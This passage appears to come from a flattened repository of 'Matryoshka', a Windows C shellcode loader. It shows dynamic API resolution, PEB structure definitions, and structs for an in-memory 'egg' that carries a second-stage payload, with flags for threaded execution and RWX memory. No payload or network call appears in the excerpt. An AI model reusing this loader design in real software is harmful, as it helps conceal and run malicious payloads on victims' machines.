VirtualAlloc\n"); 271 | return FALSE; 272 | } 273 | 274 | state->runtime.VirtualQuery = state->runtime.GetProcAddress(kernel32, VirtualQueryStr); 275 | if (state->runtime.VirtualQuery == NULL) { 276 | debug("[-] Unable to resolve address of VirtualQuery\n"); 277 | return FALSE; 278 | } 279 | 280 | return TRUE; 281 | } -------------------------------------------------------------------------------- /src/Matryoshka/Matryoshka/matryoshka.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | #include "funcs.h" 6 | 7 | #define MATRYOSHKA_CONFIG_MAGIC 0xC0FFEE 8 | #define MATRYOSHKA_EGG_MAGIC 0xFEEDFACE 9 | 10 | typedef struct { 11 | DWORD magic; /// magic bytes used to identify the egg 12 | DWORD egg_size; /// size of the included egg/payload 13 | BYTE stage[]; /// stage to execute 14 | } matryoshka_egg_t; 15 | 16 | typedef struct { 17 | union { 18 | WORD bitmap; /// full bitmap of flags 19 | struct { 20 | unsigned int spawn_new_thread : 1; /// spawn the second-stage payload in a new thread 21 | unsigned int reserved2 : 1; /// TODO: flag to allocate RX instead of RWX memory 22 | unsigned int reserved3 : 1; /// TODO: check if process is in high integrity mode and exit 23 | unsigned int reserved4 : 1; 24 | unsigned int reserved5 : 1; 25 | unsigned int reserved6 : 1; 26 | unsigned int reserved7 : 1; 27 | unsigned int reserved8 : 1; 28 | unsigned int reserved9 : 1; 29 | unsigned int reserved10 : 1; 30 | unsigned int reserved11 : 1; 31 | unsigned int reserved12 : 1; 32 | unsigned int reserved13 : 1; 33 | unsigned int reserved14 : 1; 34 | unsigned int reserved15 : 1; 35 | unsigned int reserved16 : 1; 36 | }; 37 | }; 38 | } matryoshka_loader_flags_t; 39 | 40 | typedef struct { 41 | DWORD magic; /// magic bytes for the configuration file 42 | BYTE egg_pattern[8]; /// pattern to search for to identify the egg in-memory 43 | matryoshka_loader_flags_t flags; /// loader flags used to specify optional loader behavior 44 | } matryoshka_loader_config_t; 45 | 46 | typedef struct { 47 | CreateThread_T CreateThread; 48 | GetLastError_T GetLastError; 49 | GetProcAddress_T GetProcAddress; 50 | IsBadReadPtr_T IsBadReadPtr; 51 | LoadLibrary_T LoadLibrary; 52 | VirtualAlloc_T VirtualAlloc; 53 | VirtualQuery_T VirtualQuery; 54 | } matryoshka_runtime; 55 | 56 | typedef struct { 57 | matryoshka_runtime runtime; 58 | } matryoshka_state; 59 | -------------------------------------------------------------------------------- /src/Matryoshka/Matryoshka/peb.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | typedef struct _UNICODE_STR 6 | { 7 | USHORT Length; 8 | USHORT MaximumLength; 9 | PWSTR pBuffer; 10 | } UNICODE_STR, * PUNICODE_STR; 11 | 12 | typedef struct _LDR_DATA_TABLE_ENTRY 13 | { 14 | LIST_ENTRY InMemoryOrderModuleList; 15 | LIST_ENTRY InInitializationOrderModuleList; 16 | PVOID DllBase; 17 | PVOID EntryPoint; 18 | ULONG SizeOfImage; 19 | UNICODE_STR FullDllName; 20 | UNICODE_STR BaseDllName; 21 | ULONG Flags; 22 | SHORT LoadCount; 23 | SHORT TlsIndex; 24 | LIST_ENTRY HashTableEntry; 25 | ULONG TimeDateStamp; 26 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 27 | 28 | typedef struct _PEB_LDR_DATA 29 | { 30 | DWORD dwLength; 31 | DWORD dwInitialized; 32 | LPVOID lpSsHandle; 33 | LIST_ENTRY InLoadOrderModuleList; 34 | LIST_ENTRY InMemoryOrderModuleList; 35 | LIST_ENTRY InInitializationOrderModuleList; 36 | LPVOID lpEntryInProgress; 37 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 38 | 39 | typedef struct _PEB_FREE_BLOCK 40 | { 41 | struct _PEB_FREE_BLOCK* pNext; 42 | DWORD dwSize; 43 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 44 | 45 | typedef struct __PEB 46 | { 47 | BYTE bInheritedAddressSpace; 48 | BYTE bReadImageFileExecOptions; 49 | BYTE bBeingDebugged; 50 | BYTE bSpareBool; 51 | LPVOID lpMutant; 52 | LPVOID lpImageBaseAddress; 53 | PPEB_LDR_DATA pLdr; 54 | LPVOID lpProcessParameters; 55 | LPVOID lpSubSystemData; 56 | LPVOID lpProcessHeap; 57 | PRTL_CRITICAL_SECTION pFastPebLock; 58 | LPVOID lpFastPebLockRoutine; 59 | LPVOID lpFastPebUnlockRoutine; 60 | DWORD dwEnvironmentUpdateCount; 61 | LPVOID lpKernelCallbackTable; 62 | DWORD dwSystemReserved; 63 | DWORD dwAtlThunkSListPtr32; 64 | PPEB_FREE_BLOCK pFreeList; 65 | DWORD dwTlsExpansionCounter; 66 | LPVOID lpTlsBitmap; 67 | DWORD dwTlsBitmapBits[2]; 68 | LPVOID lpReadOnlySharedMemoryBase; 69 | LPVOID lpReadOnlySharedMemoryHeap; 70 | LPVOID lpReadOnlyStaticServerData; 71 | LPVOID lpAnsiCodePageData; 72 | LPVOID lpOemCodePageData; 73 | LPVOID lpUnicodeCaseTableData; 74 | DWORD dwNumberOfProcessors; 75 | DWORD dwNtGlobalFlag; 76 | LARGE_INTEGER liCriticalSectionTimeout; 77 | DWORD dwHeapSegmentReserve; 78 | DWORD dwHeapSegmentCommit; 79 | DWORD dwHeapDeCommitTotalFreeThreshold; 80 | DWORD dwHeapDeCommitFreeBlockThreshold; 81 | DWORD dwNumberOfHeaps; 82 | DWORD dwMaximumNumberOfHeaps; 83 | LPVOID lpProcessHeaps; 84 | LPVOID lpGdiSharedHandleTable; 85 | LPVOID lpProcessStarterHelper; 86 | DWORD dwGdiDCAttributeList; 87 | LPVOID lpLoaderLock; 88 | DWORD dwOSMajorVersion; 89 | DWORD dwOSMinorVersion; 90 | WORD wOSBuildNumber; 91 | WORD wOSCSDVersion; 92 | DWORD dwOSPlatformId; 93 | DWORD dwImageSubsystem; 94 | DWORD dwImageSubsystemMajorVersion; 95 | DWORD dwImageSubsystemMinorVersion; 96 | DWORD dwImageProcessAffinityMask; 97 | DWORD dwGdiHandleBuffer[34]; 98 | LPVOID lpPostProcessInitRoutine; 99 | LPVOID lpTlsExpansionBitmap; 100 | DWORD dwTlsExpansionBitmapBits[32]; 101 | DWORD dwSessionId; 102 | ULARGE_INTEGER liAppCompatFlags; 103 | ULARGE_INTEGER liAppCompatFlagsUser; 104 | LPVOID lppShimData; 105 | LPVOID lpAppCompatInfo; 106 | UNICODE_STR usCSDVersion; 107 | LPVOID lpActivationContextData; 108 | LPVOID lpProcessAssemblyStorageMap; 109 | LPVOID lpSystemDefaultActivationContextData; 110 | LPVOID lpSystemAssemblyStorageMap; 111 | DWORD dwMinimumStackCommit; 112 | } _PEB, * _PPEB; --------------------------------------------------------------------------------